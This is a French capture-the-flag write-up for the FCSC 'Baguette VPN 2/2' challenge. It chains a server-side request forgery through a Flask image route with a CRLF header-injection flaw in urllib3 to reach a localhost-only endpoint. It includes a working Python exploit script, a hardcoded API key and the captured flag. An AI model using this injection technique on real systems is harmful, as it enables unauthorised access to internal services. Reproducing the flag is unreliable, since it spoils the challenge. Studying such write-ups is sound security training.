Après avoir réussi Baguette VPN 1/2, vous devriez avoir :
- le Docker instancié,
- le fichier Python.
Étude du fichier Python
Démarrons par l’étude du fichier Python.
@app.route("/api/secret")
def admin():
if request.remote_addr == "127.0.0.1":
if request.headers.get("X-API-KEY") == "b99cc420eb25205168e83190bae48a12":
return jsonify({"secret": os.getenv("FLAG")})
return Response("Interdit: mauvaise clé d'API", status=403)
return Response("Interdit: mauvaise adresse IP", status=403)
En regardant le routing de l’application Flask, nous voyons qu’il y a un endpoint /api/secret
. Dès lors que vous tentez d’y accéder, le serveur vous dit que vous n’êtes pas identifiés avec la bonne adresse IP.
En effet, vous devez être 127.0.0.1, soit l’application elle même. Nous cherchons donc une vulnérabilité de type SSRF (Server-Side Request Forgery) afin de requêter la ressource en tant que le serveur. Nous constatons qu’il y a une route permettant d’accéder à une image sur le serveur CDN.
@app.route("/api/image")
def image():
filename = request.args.get("fn")
if filename:
http = urllib3.PoolManager()
return http.request("GET", "http://baguette-vpn-cdn" + filename).data
else:
return Response("Paramètre manquant", status=400)
Pratique ! Cette partie du code nous permet d’accéder à une image par méthode GET via l’adresse http://baguette-cpn-cdn
donc 127.0.0.1.
Fabriquons notre requête :
- Endpoint
/api/image
, - Argument GET
fn
, - Un
.localhost
au début de l’URL pour remplacer le domaine parlocalhost
.
http://localhost:8000/api/image?fn=.localhost:1337/api/secret
Maintenant que nous avons notre SSRF, il va falloir l’envoyer au serveur mais, nous avons vu qu’en plus de l’adresse IP 127.0.0.1 il faut que nous ajoutions l’entête X-API-KEY: b99cc420eb25205168e83190bae48a12
.
Il va donc falloir utiliser une deuxième technique en exploitant une vulnérabilité connue de Python 3.7 et urllib3 : https://bugs.python.org/issue36276.
Exploitation
import requests
host = "localhost:8000/api/image?fn=.localhost:1337/api/secret"
payload = " HTTP/1.1\r\nX-API-KEY: b99cc420eb25205168e83190bae48a12\r\nlocalhost:1337"
url = "http://" + host + payload
r = requests.get(url)
print(r.text)
Puis on exécute.
$ python3 exploit.py
{"secret":"FCSC{6e86560231bae31b04948823e8d56fac5f1704aaeecf72b0c03bfe742d59fdfb}"}